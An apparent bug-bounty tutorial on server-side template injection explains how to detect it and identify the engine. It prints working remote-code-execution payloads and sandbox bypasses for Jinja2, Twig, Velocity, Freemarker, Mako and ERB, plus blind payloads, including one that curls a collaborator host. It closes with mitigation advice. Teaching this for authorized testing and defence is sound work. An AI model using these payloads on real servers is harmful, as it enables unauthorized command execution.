Advanced levelFree

SSTI — Server-Side Template Injection in Jinja2, Twig, Velocity and Freemarker

Detection with polyglots, engine identification, escalation to RCE in Jinja2/Python, Twig/PHP, Velocity/Java. Patterns where user input reaches templates.

Gorka El BochiMay 9, 202612 min

Quick answer

SSTI happens when user input ends up inside a template rendered server-side. Most engines (Jinja2, Twig, Velocity, Freemarker, Mako, ERB) allow calling methods of the host language → fast escalation to RCE. Detect with the polyglot ${{<%[%'"}}%\ which breaks almost any engine. Identify with {{7*7}} and variants. Typical bounties: €2,000-€10,000 (RCE).


Typical vectors

Apps that generate emails/PDFs/dynamic responses from templates are usually candidates:

  • Email customization: "Welcome {{user.name}}" where user.name comes from the client.
  • Notification settings: subject template with placeholders.
  • Error messages: with interpolated variables (some frameworks).
  • Reporting builders: define a template, out comes a PDF.
  • Legal/contract documents generated with user data.
  • CMS where the editor inserts templates with variables.

Detection

Universal polyglot

bash
${{<%[%'"}}%\

This string breaks the syntax of almost every template engine. If the response changes (500 error, broken page) → possible SSTI.

Engine identification

Initial test: {{7*7}}.

OutputLikely engine
49Jinja2, Twig
7777777Twig (with string concat)
{{7*7}} (literal)No SSTI (the template isn't interpreted)
ErrorPossible different engine

Differentiator test Jinja2 vs Twig:

arduino
{{7*'7'}}
OutputEngine
7777777Jinja2
49 (numeric)Twig

For Java engines (Velocity, Freemarker):

bash
${7*7}

If it returns 49 → Velocity, Freemarker, or similar.

For ERB (Ruby): <%= 7*7 %>.


Escalation to RCE

Jinja2 (Python)

Jinja2 is the most common. Escape the sandbox via object chains:

python
{{ ''.__class__.__mro__[1].__subclasses__() }}

Returns a list of subclasses. Identify the index of subprocess.Popen or similar.

python
{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('id', shell=True, stdout=-1).communicate()[0] }}

Variants depending on the Python version and available subclasses. More recent:

python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Twig (PHP)

twig
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

Or a more modern bypass:

twig
{{["id"]|filter("system")}}

Velocity (Java)

java
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")

Freemarker (Java)

java
<#assign value="freemarker.template.utility.Execute"?new()>
${value("id")}

Mako (Python)

python
<%
import os
x=os.popen('id').read()
%>
${x}

ERB (Ruby)

ruby
<%= `id` %>
<%= system('id') %>
<%= IO.popen('id').read %>

SSTI sandbox bypasses

Modern engines have a sandbox that blocks __class__, __subclasses__, etc. Bypasses:

Jinja2 sandbox bypass

python
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

If request or config are in the context, they are a source of globals.

Restricted filters

If __class__ is blocked but attr isn't:

python
{{ ''|attr('__class__')|attr('__mro__')[1]|attr('__subclasses__')() }}

Blind SSTI

If there's no visible output:

Time-based

python
{{ '7'*999999999 }}                  # huge string, observable lag
{{ 'x'*99 if 7*7 == 49 else 'y' }}   # conditional timing

OOB

python
{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('curl yourcollab.collab.tld/SSTI', shell=True, stdout=-1) }}

Burp Collaborator captures the hit.


Typical endpoints where you find it

  • Email customization in notification settings.
  • Broadcast email subjects.
  • PDF generators with customizable templates.
  • Error pages with variables (rarer but real).
  • Reporting with queries that produce formatted output.
  • CMS with editable widgets/plugins.
  • Newsletters with user-editable templates and preview.

Blind detection when you don't see output

python
# Jinja2
{{ '{}'.format(7*7) }}     # only returns 49 if it interpolates
{{ self.__init__.__globals__.__builtins__.__import__('time').sleep(5) }}

Time-based + OOB are your two friends when it's blind.


Hunting checklist

  • Are there endpoints where the client can write content that appears in emails, PDFs, reports?
  • Is there a template "preview"? Direct vector.
  • Try the polyglot ${{<%[%'"}}%\ and observe errors?
  • Does {{7*7}} return 49? → SSTI confirmed.
  • Does the engine allow access to globals/builtins? Try __class__.
  • If the sandbox blocks it, try variants with attr(), request.application, config?
  • Blind: time-based + OOB with Collaborator?

Correct mitigation

  1. Do NOT render templates with user input. Use {{ user_input }} as data, never {{ template_string }}.
  2. Sandboxed environment of the template engine when users do write templates (e.g., Jinja2 SandboxedEnvironment).
  3. Strict whitelist of allowed variables/functions (no __class__, __import__, etc.).
  4. Logical/visual templates (Liquid) that don't allow arbitrary Python/Ruby code.
  5. Input validation before passing to the template.

Practice detection, engine identification and SSTI escalation to RCE in Jinja2, Twig and Velocity: SSTI labs.

Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

Practice this in a lab

Ssti

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

2,482

hunters training

62

labs from real hacks

1,629

completions

$14,790

paid out for these bugs

11 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy